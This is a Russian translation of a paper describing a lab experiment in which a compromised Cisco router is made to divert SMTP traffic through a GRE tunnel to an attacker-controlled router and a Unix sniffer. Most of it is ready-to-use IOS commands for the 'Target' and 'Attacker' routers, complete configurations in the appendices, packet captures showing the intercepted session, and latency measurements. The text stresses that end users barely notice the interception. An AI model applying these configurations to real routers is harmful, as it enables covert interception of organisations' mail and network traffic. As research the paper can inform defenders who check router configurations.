Оригинал перевода: http://www.securitylab.ru/43553.html
Оригинал на английском: http://www.netsys.com/library/papers/GRE_sniffing.PDF
Использование взломанного маршрутизатора для захвата сетевого трафика.
Давид Тейлор, перевод Алексей Антипов
1. Введение
В данной статье описывается подход, методология и результаты
проведенного эксперимента по использованию взломанного маршрутизатора
как средства для захвата сетевого трафика. Маршрутизаторы находятся
вне корпоративной межсетевой защиты и часто очень плохо защищены. В
некоторых случаях, взломанный маршрутизатор может использоваться в
качестве отправной точки для дальнейшего захвата сети, но наиболее
ценным подходом является использование маршрутизатора для сниффинга
входящего и исходящего сетевого трафика организации.
2. Подход
Выбранный подход заключался в установлении GRE туннеля между
захваченным маршрутизатором и маршрутизатором, находящимся под
управлением злоумышленника. Маршрутизация настраивалась таким образом,
чтобы переадресовывать входящий и исходящий трафик на маршрутизатор
злоумышленника через GRE туннель. При этом трафик прежде обрабатывался
маршрутизатором злоумышленника, а после возвращался на основной
маршрутизатор для заключительной доставки (снова через GRE туннель).
Было проверено два вида сценариев обработки трафика. В первом,
захваченный трафик был просто "отражен" маршрутизатором злоумышленника
минуя GRE туннель, как показано на рис. 1. Этот метод имел
преимущество в простоте конфигурирования маршрутизатора, но имел
некоторые недостатки:
- Для захвата трафика необходимо "проснифить" внешний интерфейс
маршрутизатора злоумышленника. Это достаточно трудно реализовать в
сетях отличных от Ethernet.
- Захваченный сетевой трафик является GRE инкапсулированным.
Необходимо было декапсулировать этот трафик прежде, чем произойдет
декодирование IP адресов.
Во втором сценарии, маршрутизатор злоумышленника конфигурируется для
передачи захваченного трафика на рабочую станцию Unix, перед
пересылкой на целевой маршрутизатор. Это показано на рисунке 2. В
таком сценарии устранены предыдущие недостатки.
- внешние сетевые носители на маршрутизаторе злоумышленника -
произвольны
- трафик, переправленный через рабочую станцию Unix уже
декапсулирован, что дает меньше времени для извлечения нужной
информации.
Методология
На представленном ниже рисунке показана топология сети, используемой в
нашем эксперименте.
Оборудование
На целевом маршрутизаторе используется оборудование Dual Ethernet
Cisco 3600. Маршрутизатор злоумышленника - Ethernet Cisco 2600. Такая
топология одинаково применима к любому Cisco IOS маршрутизатору. Это
также применимо к любым маршрутизаторам, использующим GRE и политику
маршрутизации.
Почтовый сервер является Linux станцией. Сетевой сниффер - рабочей
станцией Solaris. Выбор данного оборудования был полностью произволен.
Установление GRE туннеля
Первым шагом, после IP конфигурирования маршрутизатора, является
установление GRE туннеля между целевым маршрутизатором и
маршрутизатором злоумышленника. При реальном выполнении данной
методики, для начала целевой маршрутизатор должен быть взломан, чтобы
быть сконфигурированным удаленно. Но описание методов дискредитации
устройств выходят за рамки данной статьи.
На целевом маршрутизаторе:
Target#conf t
Target(config)#int tunnel0
Target(config-if)#ip address 192.168.5.1 255.255.255.0
Target(config-if)#tunnel source eth0/1
Target(config-if)#tunnel dest 192.168.1.2
Target(config-if)#tunnel mode gre ip
Target(config-if)#exit
Target(config)#exit
Target#
Итак, мы создали туннельный интерфейс (называемый tunnel0). Ему задан
локальный (виртуальный) IP адрес 192.168.5.1. Внешний Ethernet
интерфейс определен как локальная конечная точка туннеля, а
маршрутизатор злоумышленника определен как удаленная конечная точка
туннеля.
Эквивалентные команды введены на маршрутизаторе злоумышленника.
На маршрутизаторе злоумышленника:
Attacker#conf t
Attacker(config)#int tunnel0
Attacker(config-if)#ip address 192.168.5.2 255.255.255.0
Attacker(config-if)#tunnel source eth0/1
Attacker(config-if)#tunnel dest 192.168.1.1
Attacker(config-if)#tunnel mode gre ip
Attacker(config-if)#exit
Attacker(config)#exit
Attacker#
После всех вышеописанных операций мы установили GRE туннель между
двумя маршрутизаторами. Независимо от того, сколько существует
"прыжков" между маршрутизаторами по Интернет, GRE туннель будет
рассматриваться как один единственный "прыжок".
Сценарий 1. Политика маршрутизации.
Для сценария 1 (см. рис. 1), мы устанавливаем политику маршрутизации
на интерфейсе tunnel0 маршрутизатора злоумышленника таким образом,
"отражать" трафик, прибывающий в GRE туннель.
На маршрутизаторе злоумышленника:
Attacker#conf t
Attacker(config)#access-list 100 permit ip any any
Attacker(config)#route-map reflect
Attacker(config-route-map)#match ip address 100
Attacker(config-route-map)#set ip next-hop 192.168.5.1
Attacker(config-route-map)#exit
Attacker(config)#int tunnel0
Attacker(config-if)#ip policy route-map reflect
Attacker(config-if)#exit
Attacker(config)#exit
Attacker#
Список доступа 100 соответствует всему IP трафику. Карта маршрута
выбирает весь трафик, соответствующий списку доступа 100(весь трафик)
и отсылает его на IP адрес 192.168.5.1, являющийся конечной точкой GRE
туннеля целевого маршрутизатора. Эта карта маршрута применена к
интерфейсу tunnel0.
Сценарий 1. Настройка рабочей станции Unix
В сценарии 1, рабочая станция Unix хакера была помещена вне внешнего
интерфейса его маршрутизатора. В данном случае конфигурация рабочей
станции Unix произвольна, поскольку она должна только пассивно
захватывать сетевой трафик.
Сценарий 2. Политика маршрутизации
Во втором сценарии, мы настраиваем политику маршрутизации на
туннельном интерфейсе маршрутизатора злоумышленника и на внутреннем
Ethernet интерфейсе, чтобы "отражать" трафик, прибывающего из GRE
туннеля через рабочую станцию Unix, на внутренний Ethernet интерфейс.
На маршрутизаторе злоумышленника:
Attacker#conf t
Attacker(config)#access-list 100 permit ip any any
Attacker(config)#route-map send-traffic-in
Attacker(config-route-map)#match ip address 100
Attacker(config-route-map)#set ip next-hop 192.168.3.2
Attacker(config-route-map)#exit
Attacker(config)#int tunnel0
Attacker(config-if)#ip policy route-map send-traffic-in
Attacker(config-if)#exit
Attacker(config)#route-map send-traffic-out
Attacker(config-route-map)#match ip address 100
Attacker(config-route-map)#set ip next-hop 192.168.5.1
Attacker(config-route-map)#exit
Attacker(config)#int eth0/0
Attacker(config-if)#ip policy route-map send-traffic-out
Attacker(config-if)#exit
Attacker(config)#exit
Attacker#
Карта маршрута пересылки входящего трафика установлена на интерфейсе
tunnel0. C помощью этого происходит пересылка всего трафика,
прибывающего через туннель, на первичный Ethernet адрес рабочей
станции Unix (192.168.3.2). Рабочая станция отсылает этот трафик назад
на маршрутизатор злоумышленника (192.168.4.1), используя стандартный
маршрут.
Карта маршрута пересылки исходящего трафика установлена на внутреннем
Ethernet интерфейсе маршрутизатора злоумышленника. C помощью этого
происходит пересылка всего трафика из рабочей станции Unix на целевой
маршрутизатор, минуя GRE туннель.
Сценарий 2. Настройка рабочей станции Unix.
Во втором сценарии, рабочая станция настроена следующим образом:
Первичный IP адрес: 192.168.3.2
Вторичный IP адрес: 192.168.4.2
Данный вторичный IP адрес является виртуальным на всех физических
сетевых интерфейсах.
Стандартный маршрут: 192.168.4.1
Определение трафика для захвата
Теперь, необходимо определить списки доступа для трафика, который
необходимо захватить на целевом маршрутизаторе.
На целевом маршрутизаторе:
Target#conf t
Target(config)#access-list 101 permit tcp any any eq 25
Target(config)#access-list 101 permit tcp any eq 25 any
Target(config)#exit
Target#
Данный список доступа соответствует всему SMTP (25/tcp) трафику.
Теперь необходимо определить правила для согласования входящих и
исходящих пакетов, поскольку этот список доступа будет использоваться
в картах маршрута для обоих интерфейсов целевого маршрутизатора.
Политика маршрутизации на целевом маршрутизаторе.
Наконец, мы должны установить политику маршрутизации на целевом
маршрутизаторе, для пересылки интересующего нас трафика через GRE
туннель.
На целевом маршрутизаторе:
Target#conf t
Target(config)#route-map capture-traffic
Target(config-route-map)#match ip address 101
Target(config-route-map)#set ip next-hop 192.168.5.2
Target(config-route-map)#exit
Target(config)#int eth0
Target(config-if)#ip policy route-map capture-traffic
Target(config-if)#exit
Target(config)#int eth1
Target(config-if)#ip policy route-map capture-traffic
Target(config-if)#exit
Target(config)#exit
Target#
Карта маршрута определена так, что трафик соответствует списку доступа
101 (весь SMTP трафик) и пересылается целевой маршрутизатор через GRE
туннель. Эта карта применена к внутреннему и внешнему интерфейсам
маршрутизатора.
На этот момент весь входящий и исходящий трафики, проходящие через
маршрутизатор, будут переадресованы на маршрутизатор злоумышленника
через GRE туннель. Трафик, прибывающий из захваченного маршрутизатора
через GRE туннель (отраженный трафик) доставляется согласно
стандартного маршрута.
Окончательные конфигурации целевого маршрутизатора могут быть найдены
в Приложении А. А конфигурации маршрутизатора злоумышленника для
сценариев 1 и 2 находятся в Приложении В и С соответственно.
Результаты
В обоих сценариях SMTP соединения были перенаправлены через GRE
туннель и успешно захвачены рабочей станцией Unix.
Сценарий 1.
Ниже показан перехват создания сеанса SMTP соединения для первого
сценария:
1 0.00000 192.168.1.3 -> 192.168.2.2 SMTP C port=1617
2 0.00208 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=72, ID=823
3 0.00144 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=72, ID=797
4 0.00277 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=72, ID=824
5 0.00140 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=72, ID=798
6 0.00060 192.168.2.2 -> 192.168.1.3 SMTP R port=1617
7 0.00032 192.168.1.3 -> 192.168.2.2 SMTP C port=1617
8 0.00183 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=825
9 0.00138 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=799
Пакет 1: показывается TCP SYN пакет от клиента к почтовому серверу.
Пакеты 2 и 3: показываются SYN пакет, посылаемый от целевого
маршрутизатора к маршрутизатору злоумышленника и обратно.
После пакета 3: SYN пакет пересылается почтовому серверу (не
показано). Почтовый сервер генерирует ответ с SYN/ACK пакетом (не
показано)
Пакеты 4 и 5: показывается SYN/ACK пакет пересекающий GRE туннель.
Пакеты 5 и 6: показан ACK пакет от клиента к почтовому серверу.
Более полная расшифровка этого захватами находится в Приложении D.
Выводы и обсуждение
"Прозрачность"
Этот метод перехвата практически полностью не заметен конечному
пользователю системы. Стандартные утилиты трассировки маршрутов не
будут показывать дополнительные "скачки", созданные GRE
переадресацией.
Хотя, конечно, экспертиза конфигурации целевого маршрутизатора легко
бы это раскрыла.
Времени задержки
Процесс переадресации трафика через маршрутизатор злоумышленника
увеличивает время ожидании на захваченном трафике. Увеличение времени
ожидания можно задать формулой:
2n + м.
Где n - время, требуемое для движения трафика через Интернет от
целевого маршрутизатора к маршрутизатору злоумышленника, а m -
задержка, возникающая при обработке этого трафика маршрутизатором
злоумышленника (и рабочей станцией Unix).
Значение m находится в пределах 10ms (при лабораторных условиях). См.
Приложение F.
Значение n, вероятно, будет большим.
Дальнейшее декодирование трафика
Извлечение полезной информации из захваченного трафика мы оставим как
упражнение для читателей. Для этого могут быть полезны различные Unix
процедуры типа strings или od.
Приложение А. Конфигурация целевого маршрутизатора.
!
version 12.2
service timestamps debug uptime
service timestamps log uptime
no service password-encryption
!
hostname Target
!
no logging console
!
ip subnet-zero
!
interface Tunnel0
ip address 192.168.5.1 255.255.255.0
tunnel source Ethernet0/1
tunnel destination 192.168.1.2
!
interface Ethernet0/0
ip address 192.168.2.1 255.255.255.0
ip policy route-map capture-traffic
half-duplex
!
interface Ethernet0/1
ip address 192.168.1.1 255.255.255.0
ip policy route-map capture-traffic
half-duplex
!
ip classless
no ip http server
no ip pim bidir-enable
!
access-list 101 permit tcp any any eq smtp
access-list 101 permit tcp any eq smtp any
no cdp run
route-map capture-traffic permit 10
match ip address 101
set ip next-hop 192.168.5.2
!
line con 0
line aux 0
line vty 0 4
privilege level 15
login
!
end
Приложение B. Конфигурация маршрутизатора злоумышленника. Сценарий 1.
!
version 12.2
service timestamps debug uptime
service timestamps log uptime
no service password-encryption
!
hostname Attacker
!
logging buffered 4096 debugging
no logging console
enable secret 5 $1$cjVg$HSwnoTugnkpJb2ZrZTqsQ0
!
memory-size iomem 10
ip subnet-zero
!
interface Tunnel0
ip address 192.168.5.2 255.255.255.0
ip policy route-map reflect
tunnel source Ethernet0/1
tunnel destination 192.168.1.1
!
interface Ethernet0/0
ip address 192.168.3.1 255.255.255.0
half-duplex
!
interface Ethernet0/1
ip address 192.168.1.2 255.255.255.0
half-duplex
!
ip classless
no ip http server
no ip pim bidir-enable
!
access-list 100 permit ip any any
no cdp run
route-map reflect permit 10
match ip address 100
set ip next-hop 192.168.5.1
!
line con 0
line aux 0
line vty 0 4
privilege level 15
no login
!
end
Приложение С. Конфигурация маршрутизатора злоумышленника. Сценарий 2.
version 12.2
service timestamps debug uptime
service timestamps log uptime
no service password-encryption
!
hostname Attacker
!
logging buffered 4096 debugging
no logging console
enable secret 5 $1$cjVg$HSwnoTugnkpJb2ZrZTqsQ0
!
memory-size iomem 10
ip subnet-zero
!
interface Tunnel0
ip address 192.168.5.2 255.255.255.0
ip policy route-map send-traffic-in
tunnel source Ethernet0/1
tunnel destination 192.168.1.1
!
interface Ethernet0/0
ip address 192.168.4.1 255.255.255.0 secondary
ip address 192.168.3.1 255.255.255.0
ip policy route-map send-traffic-out
half-duplex
!
interface Ethernet0/1
ip address 192.168.1.2 255.255.255.0
half-duplex
!
ip classless
no ip http server
no ip pim bidir-enable
!
access-list 100 permit ip any any
no cdp run
route-map send-traffic-out permit 10
match ip address 100
set ip next-hop 192.168.5.1
!
route-map send-traffic-in permit 10
match ip address 100
set ip next-hop 192.168.3.2
!
line con 0
line aux 0
line vty 0 4
privilege level 15
no login
!
end
Приложение D. Захват трафика. Сценарий 1.
1 0.00000 192.168.1.3 -> 192.168.2.2 SMTP C port=1617
2 0.00208 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=72, ID=823
3 0.00144 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=72, ID=797
4 0.00277 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=72, ID=824
5 0.00140 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=72, ID=798
6 0.00060 192.168.2.2 -> 192.168.1.3 SMTP R port=1617
7 0.00032 192.168.1.3 -> 192.168.2.2 SMTP C port=1617
8 0.00183 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=825
9 0.00138 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=799
10 40.09693 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=153, ID=826
11 0.00142 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=153, ID=800
12 0.00063 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 220 localhost.locald
13 0.13864 192.168.1.3 -> 192.168.2.2 SMTP C port=1617
14 0.00185 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=827
15 0.00135 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=801
82 2.18601 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 q
83 0.00211 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=65, ID=850
84 0.00135 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=65, ID=824
85 0.03858 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=851
86 0.00131 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=825
87 0.00051 192.168.2.2 -> 192.168.1.3 SMTP R port=1617
88 0.18110 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 u
89 0.00186 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=65, ID=852
90 0.00136 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=65, ID=826
91 0.00271 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=853
92 0.00130 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=827
93 0.00059 192.168.2.2 -> 192.168.1.3 SMTP R port=1617
94 0.05429 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 i
95 0.00191 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=65, ID=854
96 0.00135 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=65, ID=828
97 0.00269 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=855
98 0.00131 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=829
99 0.00051 192.168.2.2 -> 192.168.1.3 SMTP R port=1617
100 0.16402 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 t
101 0.00207 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=65, ID=856
102 0.00139 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=65, ID=830
103 0.00270 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=857
104 0.00133 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=831
105 0.00052 192.168.2.2 -> 192.168.1.3 SMTP R port=1617
106 0.22869 192.168.1.3 -> 192.168.2.2 SMTP C port=1617
107 0.00197 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=66, ID=858
108 0.00137 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=66, ID=832
109 0.00304 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=859
110 0.00130 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=833
111 0.00012 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=116, ID=860
112 0.00055 192.168.2.2 -> 192.168.1.3 SMTP R port=1617
113 0.00093 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=116, ID=834
114 0.00058 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 221 2.0.0 localhost.
115 0.00067 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=861
116 0.00133 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=835
117 0.00049 192.168.2.2 -> 192.168.1.3 SMTP R port=1617
118 0.00025 192.168.1.3 -> 192.168.2.2 SMTP C port=1617
119 0.00044 192.168.1.3 -> 192.168.2.2 SMTP C port=1617
120 0.00172 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=862
121 0.00133 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=836
122 0.00007 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=863
123 0.00135 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=837
124 0.00255 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=864
125 0.00130 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=838
126 0.00054 192.168.2.2 -> 192.168.1.3 SMTP R port=1617
Ниже показано декодирование GRE пакетов.
ETHER:
IP: ----- IP Header -----
IP:
IP: Version = 4
IP: Header length = 20 bytes
IP: Type of service = 0x00
IP: xxx. .... = 0 (precedence)
IP: ...0 .... = normal delay
IP: .... 0... = normal throughput
IP: .... .0.. = normal reliability
IP: Total length = 72 bytes
IP: Identification = 823
IP: Flags = 0x0
IP: .0.. .... = may fragment
IP: ..0. .... = last fragment
IP: Fragment offset = 0 bytes
IP: Time to live = 255 seconds/hops
IP: Protocol = 47 ()
IP: Header checksum = 34fc
IP: Source address = 192.168.1.1, 192.168.1.1
IP: Destination address = 192.168.1.2, 192.168.1.2
IP: No options
IP:
1 0.00000 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
2 0.00014 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
3 0.00585 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
4 0.00011 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
5 0.00579 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
6 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
7 40.09285 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 220 localhost.local d
8 0.00016 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 220 localhost.local d
9 0.16606 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
10 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
59 1.62586 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 q
60 0.00012 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 q
61 0.04199 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
62 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
63 0.14919 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 u
64 0.00012 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 u
65 0.00574 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
66 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
67 0.08556 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 i
68 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 i
69 0.00570 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
70 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
71 0.12386 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 t
72 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 t
73 0.00577 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
74 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
75 0.80846 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
76 0.00011 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
77 0.00613 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
78 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
79 0.00216 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 221 2.0.0 localhost
.
80 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 221 2.0.0 localhost
.
81 0.00220 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
82 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
83 0.00670 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
84 0.00008 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
85 0.00169 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
86 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
87 0.00645 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
88 0.00008 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
Приложение F. Оценка увеличения времени ожидания.
Без переадресациизахвата:
C:>ping 192.168.2.2
Pinging 192.168.2.2 with 32 bytes of data:
Reply from 192.168.2.2: bytes=32 time=10ms TTL=254
Reply from 192.168.2.2: bytes=32 time<10ms TTL=254
Reply from 192.168.2.2: bytes=32 time<10ms TTL=254
Reply from 192.168.2.2: bytes=32 time<10ms TTL=254
Ping statistics for 192.168.2.2:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 10ms, Average = 2ms
C:>ping -l 1000 192.168.2.2
Pinging 192.168.2.2 with 1000 bytes of data:
Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254
Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254
Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254
Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254
Ping statistics for 192.168.2.2:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
C:>
С переадресацией захватом:
C:>ping 192.168.2.2
Pinging 192.168.2.2 with 32 bytes of data:
Reply from 192.168.2.2: bytes=32 time=10ms TTL=250
Reply from 192.168.2.2: bytes=32 time=10ms TTL=250
Reply from 192.168.2.2: bytes=32 time=10ms TTL=250
Reply from 192.168.2.2: bytes=32 time=10ms TTL=250
Ping statistics for 192.168.2.2:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 10ms, Maximum = 10ms, Average = 10ms
C:>ping -l 1000 192.168.2.2
Pinging 192.168.2.2 with 1000 bytes of data:
Reply from 192.168.2.2: bytes=1000 time=31ms TTL=250
Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250
Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250
Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250
Ping statistics for 192.168.2.2:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 20ms, Maximum = 31ms, Average = 22ms
691 Прочтений • [Захват сетевого трафика через взломанный маршрутизатор Cisco (cisco gre tunnel traffic sniffer)] [08.05.2012] [Комментариев: 0]
Vova
